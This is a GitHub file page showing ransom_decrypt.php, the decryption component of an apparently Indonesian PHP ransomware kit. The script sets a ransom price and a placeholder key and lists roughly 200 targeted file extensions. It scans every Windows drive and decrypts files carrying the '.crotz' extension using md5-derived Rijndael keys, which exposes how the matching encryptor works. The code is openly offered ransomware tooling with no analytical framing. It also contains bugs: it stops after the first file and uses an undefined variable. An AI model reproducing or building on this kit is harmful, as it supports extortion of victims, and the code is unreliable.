-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy pathransom_decrypt.php
More file actions
63 lines (62 loc) · 3.08 KB
/
Copy pathransom_decrypt.php
File metadata and controls
63 lines (62 loc) · 3.08 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
<?php
ini_set("memory_limit", "-1");
set_time_limit(0);
error_reporting(E_ALL ^ E_WARNING);
class ransom_decrypt{
var $price = 360;
var $key = "XXXXXX"; // ISI BEBAS
var $extension = array("7z", "rar", "m4a", "wma", "avi", "wmv", "csv", "d3dbsp", "sc2save", "sie", "sum", "ibank", "t13", "t12", "qdf", "gdb", "tax", "pkpass", "bc6", "bc7", "bkp", "qic", "bkf", "sidn", "sidd", "mddata", "itl", "itdb", "icxs", "hvpl", "hplg", "hkdb", "mdbackup", "syncdb", "gho", "cas", "svg", "map", "wmo", "itm", "sb", "fos", "mcgame", "vdf", "ztmp", "sis", "sid", "ncf", "menu", "layout", "dmp", "blob", "esm", "001", "vtf", "dazip", "fpk", "mlx", "kf", "iwd", "vpk", "tor", "psk", "rim", "w3x", "fsh", "ntl", "arch00", "lvl", "snx", "cfr", "ff", "vpp_pc", "lrf", "m2", "mcmeta", "vfs0", "mpqge", "kdb", "db0", "mp3", "upx", "rofl", "hkx", "bar", "upk", "das", "iwi", "litemod", "asset", "forge", "ltx", "bsa", "apk", "re4", "sav", "lbf", "slm", "bik", "epk", "rgss3a", "pak", "big", "unity3d", "wotreplay", "xxx", "desc", "py", "m3u", "flv", "js", "css", "rb", "png", "jpeg", "txt", "p7c", "p7b", "p12", "pfx", "pem", "crt", "cer", "der", "x3f", "srw", "pef", "ptx", "r3d", "rw2", "rwl", "raw", "raf", "orf", "nrw", "mrwref", "mef", "erf", "kdc", "dcr", "cr2", "crw", "bay", "sr2", "srf", "arw", "3fr", "dng", "jpeg", "jpg", "cdr", "indd", "ai", "eps", "pdf", "pdd", "psd", "dbfv", "mdf", "wb2", "rtf", "wpd", "dxg", "xf", "dwg", "pst", "accdb", "mdb", "pptm", "pptx", "ppt", "xlk", "xlsb", "xlsm", "xlsx", "xls", "wps", "docm", "docx", "doc", "odb", "odc", "odm", "odp", "ods", "odt", "sql", "zip", "tar", "tar.gz", "tgz", "biz", "ocx", "html", "htm", "bat", "3gp", "srt", "cpp");
public function __construct(){
if(strtoupper(substr(PHP_OS, 0, 3)) === 'WIN'){
foreach($this->GetDrive() as $drive){
$this->GetFile($drive,$this->key);
}
echo "Data Berhasil di Decrypt\n\n Get a nice day ! ^.^\n\n";
} else {
die("Proses Gagal !");
}
}
public function GetDrive(){
$letter = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$drive = array();
for($x=0;$x<strlen($letter);$x++){
if(is_dir($letter[$x].":\\")){
$drive[] = $letter[$x].":\\";
}
}
return $drive;
}
public function Decryption($data,$key){
$location = file_get_contents($data);
$dek_64 = base64_decode($location);
return base64_decode(mcrypt_decrypt(MCRYPT_RIJNDAEL_256, md5($key), $dek_64, MCRYPT_MODE_CBC, md5(md5($key))));
}
public function GetFile($dir,$key){
foreach(glob($dir . DIRECTORY_SEPARATOR . "*") as $target){
if(!is_dir($target)){
if($target != "." && $target != ".." && is_writable($target)){
$ext = explode(".",$target);
if(end($ext)=="crotz"){
$dekrip = $this->Decryption($target,$key);
$asli = str_replace(".crotz","",$target);
$write = fopen($asli, "w");
if($write){
fwrite($write, $dekrip);
fclose($write);
unlink($target);
return $asli." [OK]\n";
} else {
return $asli." [FAILED]\n";
}
} else {
return $asli." [SKIPPED]\n";
}
}
} else {
$this->GetFile($target,$key);
}
}
}
}
echo "\n\n\n";
$load = new ransom_decrypt;